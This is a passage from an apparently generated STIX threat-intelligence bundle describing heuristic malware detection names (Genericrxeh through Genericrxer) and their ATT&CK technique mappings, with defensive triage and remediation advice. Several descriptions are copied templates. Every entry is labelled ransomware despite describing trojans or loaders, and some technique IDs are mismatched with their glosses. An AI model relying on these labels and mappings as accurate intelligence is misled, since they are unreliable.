sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxeh",
        "Heur.Genericrxeh",
        "Suspicious.Genericrxeh"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxeh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxeh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72dbd622-b96a-5074-86a0-79a77815160d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e547d0c1-512f-5c9b-aa41-c5cb9532e572",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeh exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a626780-4eaf-5b02-a81a-4f8acfbc8628",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e547d0c1-512f-5c9b-aa41-c5cb9532e572",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeh exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63209cdc-ecdc-5510-a39b-029b287b3dbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e547d0c1-512f-5c9b-aa41-c5cb9532e572",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeh exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8776b968-1066-5841-9f71-133bc51dde5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e547d0c1-512f-5c9b-aa41-c5cb9532e572",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeh exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91b26b52-da55-52b4-8f7d-5dd7ee66722a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e547d0c1-512f-5c9b-aa41-c5cb9532e572",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeh exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8980239e-b55c-5881-bebc-7ed240d8690a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e547d0c1-512f-5c9b-aa41-c5cb9532e572",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeh exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a68a2d94-37af-5237-934b-3b8fe0fe10db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxel",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxel\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis rather than a specific static signature, indicating an attempt by the malware to evade detection through polymorphic mutation or custom packing.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Genericrxel typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Genericrxel",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f679911d-f390-54b2-92e0-7e1a8ad6cfff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a68a2d94-37af-5237-934b-3b8fe0fe10db",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxel exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb593bac-29b1-5d09-ae1b-d72895d0e22e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a68a2d94-37af-5237-934b-3b8fe0fe10db",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f08fda10-d6f1-5db8-a1d9-e51169052072",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a68a2d94-37af-5237-934b-3b8fe0fe10db",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbe25058-4f03-5849-bc80-cf33aeff5eef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a68a2d94-37af-5237-934b-3b8fe0fe10db",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxel exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7c013f02-d33b-51b5-b425-9f000807ca1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxen",
      "description": "Trojan:Win32/Genericrxen is a broad, heuristic detection name used by Microsoft Defender and other antivirus engines to classify a wide variety of trojans that share common, suspicious behavioral patterns or code structures, but don't neatly fit into a specific, named family (like Emotet or Trickbot). Because it is a generic detection, the actual payload and capabilities of the malware can vary wildly, ranging from simple password stealers to complex ransomware droppers.<br><br><b>Understanding Generic Heuristic Detections</b><br>To an end-user, seeing a 'Genericrxen' alert means the antivirus has caught something bad, but the exact nature of the threat isn't immediately obvious from the name. For a SOC analyst, encountering a generic detection requires immediate triage. It often indicates that the malware is either brand new (a zero-day variant), has been heavily obfuscated with a new packing technique, or is a custom-compiled payload used in a targeted attack. The AV engine recognized malicious *behavior* (like injecting into `explorer.exe` or adding a Run key), but lacked a specific static signature.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxen variants are typically delivered via malspam (`T1566.001`), exploit kits, or as secondary payloads dropped by initial access brokers (`T1105`). Upon execution, they almost always employ some form of defense evasion, such as software packing (`T1027.002`) or process injection (`T1055`), to bypass static analysis. They establish persistence using standard methods like the Windows Registry (`T1547.001`) or Scheduled Tasks (`T1053.005`). Once established, they will reach out to a C2 server to download instructions or further modules.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is highly variable. Host-based IoCs must be derived from behavioral analysis (EDR). Analysts should look for the quarantined executable's original location (often `%Temp%` or `%AppData%`), any anomalous child processes it spawned before being stopped, and any registry keys it attempted to modify. Network IoCs involve analyzing firewall or proxy logs for connections made by the executable immediately prior to quarantine. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6eed1c7e-3bcd-5806-8129-686c7580c7c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c013f02-d33b-51b5-b425-9f000807ca1c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxen exhibits technique T1055 (Process Injection (Common generic behavior))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fea981b-7682-5006-865f-7cf9b8aab22b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c013f02-d33b-51b5-b425-9f000807ca1c",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxen exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48f22e21-63cc-5be6-8764-e39abb18cb80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c013f02-d33b-51b5-b425-9f000807ca1c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxen exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b0392b1-614c-5f6e-b1f2-4e6b0c79f5fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c013f02-d33b-51b5-b425-9f000807ca1c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxen exhibits technique T1105 (Ingress Tool Transfer (Downloading payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f658bdd1-3640-50d1-87c9-36506a609ceb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxeo",
      "description": "Trojan:Win32/Genericrxeo (or similar heuristically named detections) signifies that the antivirus engine has blocked a file not based on a specific, known signature, but because its behavior, structure, or origin heavily aligns with malicious patterns (`T1105`). This often indicates a newly compiled malware variant (zero-day), a heavily obfuscated dropper, or a polymorphic threat designed specifically to evade traditional static analysis.<br><br><b>Understanding Generic/Heuristic Detections</b><br>To an end-user, the experience is the same as a known malware block\u2014the file is quarantined. For a SOC analyst, a 'Genericrxeo' alert demands investigation. Because the AV doesn't know *what* family the malware belongs to, the analyst must determine the malware's ultimate intent (e.g., was it trying to drop ransomware, steal credentials, or join a botnet?).<br><br><b>Execution and Behavioral Indicators</b><br>Generic detections are often triggered when a file attempts highly suspicious actions upon execution. These include attempting to inject code into legitimate processes like `explorer.exe` or `svchost.exe` (`T1055`), trying to write to protected registry keys (like Run keys for persistence) (`T1547.001`), or unpacking itself in memory and making immediate, anomalous outbound network connections (`T1027.002`). The AV engine observes this chain of events and terminates the process heuristically.<br><br><b>Indicators of Compromise (IoCs)</b><br>IoCs for generic detections are inherently behavioral rather than static. Security teams must rely on EDR telemetry to reconstruct the process tree. Look for the initial vector (e.g., an Office document spawning PowerShell or a command prompt) leading to the execution of the flagged executable. Network IoCs involve identifying the C2 infrastructure the malware attempted to contact before it was terminated. The file hash itself is an IoC, but may be unique to this specific attack (polymorphic). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxeo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxeo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--110f1e8f-1490-5c2a-896c-64613aa912d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f658bdd1-3640-50d1-87c9-36506a609ceb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeo exhibits technique T1105 (Ingress Tool Transfer (The generic behavior of downloading a payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--118bfaa5-1e38-5ef6-a431-6913bef3c7f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f658bdd1-3640-50d1-87c9-36506a609ceb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeo exhibits technique T1055 (Process Injection (A common trigger for heuristic detection engines))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ab1683b-9c3b-505c-a57b-ab13b7f2848d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f658bdd1-3640-50d1-87c9-36506a609ceb",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeo exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (High entropy triggering generic alerts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8c4839ba-30d5-51f8-8984-6c9109df0ed0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxep",
      "description": "Trojan:Win32/Genericrxep (or similar heuristically named detections) signifies that the antivirus engine has blocked a file not based on a specific, known signature, but because its behavior, structure, or origin heavily aligns with malicious patterns (`T1105`). This often indicates a newly compiled malware variant (zero-day), a heavily obfuscated dropper, or a polymorphic threat designed specifically to evade traditional static analysis.<br><br><b>Understanding Generic/Heuristic Detections</b><br>To an end-user, the experience is the same as a known malware block\u2014the file is quarantined. For a SOC analyst, a 'Genericrxep' alert demands investigation. Because the AV doesn't know *what* family the malware belongs to, the analyst must determine the malware's ultimate intent (e.g., was it trying to drop ransomware, steal credentials, or join a botnet?).<br><br><b>Execution and Behavioral Indicators</b><br>Generic detections are often triggered when a file attempts highly suspicious actions upon execution. These include attempting to inject code into legitimate processes like `explorer.exe` or `svchost.exe` (`T1055`), trying to write to protected registry keys (like Run keys for persistence) (`T1547.001`), or unpacking itself in memory and making immediate, anomalous outbound network connections (`T1027.002`). The AV engine observes this chain of events and terminates the process heuristically.<br><br><b>Indicators of Compromise (IoCs)</b><br>IoCs for generic detections are inherently behavioral rather than static. Security teams must rely on EDR telemetry to reconstruct the process tree. Look for the initial vector (e.g., an Office document spawning PowerShell or a command prompt) leading to the execution of the flagged executable. Network IoCs involve identifying the C2 infrastructure the malware attempted to contact before it was terminated. The file hash itself is an IoC, but may be unique to this specific attack (polymorphic). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxep",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxep"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcd3ae32-a356-5ae3-b698-7a853a3e229f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8c4839ba-30d5-51f8-8984-6c9109df0ed0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxep exhibits technique T1105 (Ingress Tool Transfer (The generic behavior of downloading a payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--500c8507-2002-5730-af22-b03b5a95a397",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8c4839ba-30d5-51f8-8984-6c9109df0ed0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxep exhibits technique T1055 (Process Injection (A common trigger for heuristic detection engines))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8583c41-b74a-50bc-bfc2-9c3aae4363e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8c4839ba-30d5-51f8-8984-6c9109df0ed0",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxep exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (High entropy triggering generic alerts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0b6e6ff-7f85-5de3-8bb9-c6cb50a638b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxeq",
      "description": "Trojan:Win32/Genericrxeq is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxeq</b><br>To an end-user, a Genericrxeq infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxeq is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxeq is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxeq frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxeq reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxeq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxeq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4a47c2b-6074-5a8f-a74b-eb9782348dd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6e6ff-7f85-5de3-8bb9-c6cb50a638b5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeq exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98157094-3cac-5986-8a9f-b8e451969495",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6e6ff-7f85-5de3-8bb9-c6cb50a638b5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeq exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f6ebc5d-59b6-58a1-97e0-523355da3dcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6e6ff-7f85-5de3-8bb9-c6cb50a638b5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeq exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f87d1ea-d33d-5aa3-a8fa-1ec30c617793",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6e6ff-7f85-5de3-8bb9-c6cb50a638b5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeq exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46cc1367-78ed-5f52-9d54-9ce2a1a8380c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6e6ff-7f85-5de3-8bb9-c6cb50a638b5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeq exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a40622c-8523-5417-939d-e3ebbe8153d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxer",
      "description": "Trojan:Win32/Genericrxer (or similar heuristically named detections) signifies that the antivirus engine has blocked a file not based on a specific, known signature, but because its behavior, structure, or origin heavily aligns with malicious patterns (`T1105`). This often indicates a newly compiled malware variant (zero-day), a heavily obfuscated dropper, or a polymorphic threat designed specifically to evade traditional static analysis.<br><br><b>Understanding Generic/Heuristic Detections</b><br>To an end-user, the experience is the same as a known malware block\u2014the file is quarantined. For a SOC analyst, a 'Genericrxer' alert demands investigation. Because the AV doesn't know *what* family the malware belongs to, the analyst must determine the malware's ultimate intent (e.g., was it trying to drop ransomware, steal credentials, or join a botnet?).<br><br><b>Execution and Behavioral Indicators</b><br>Generic detections are often triggered when a file attempts highly suspicious actions upon execution. These include attempting to inject code into legitimate processes like `explorer.exe` or `svchost.exe` (`T1055`), trying to write to protected registry keys (like Run keys for persistence) (`T1547.001`), or unpacking itself in memory and making immediate, anomalous outbound network connections (`T1027.002`). The AV engine observes this chain of events and terminates the process heuristically.<br><br><b>Indicators of Compromise (IoCs)</b><br>IoCs for generic detections are inherently behavioral rather than static. Security teams must rely on EDR telemetry to reconstruct the process tree. Look for the initial vector (e.g., an Office document spawning PowerShell or a command prompt) leading to the execution of the flagged executable. Network IoCs involve identifying the C2 infrastructure the malware attempted to contact before it was terminated. The file hash itself is an IoC, but may be unique to this specific attack (polymorphic). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf1d03e5-d494-5f71-ae8a-a8d69c6b9e15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a40622c-8523-5417-939d-e3ebbe8153d7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxer exhibits technique T1105 (Ingress Tool Transfer (The generic behavior of downloading a payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3b5f0cd-bcb4-5d38-ab09-6828a891702e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
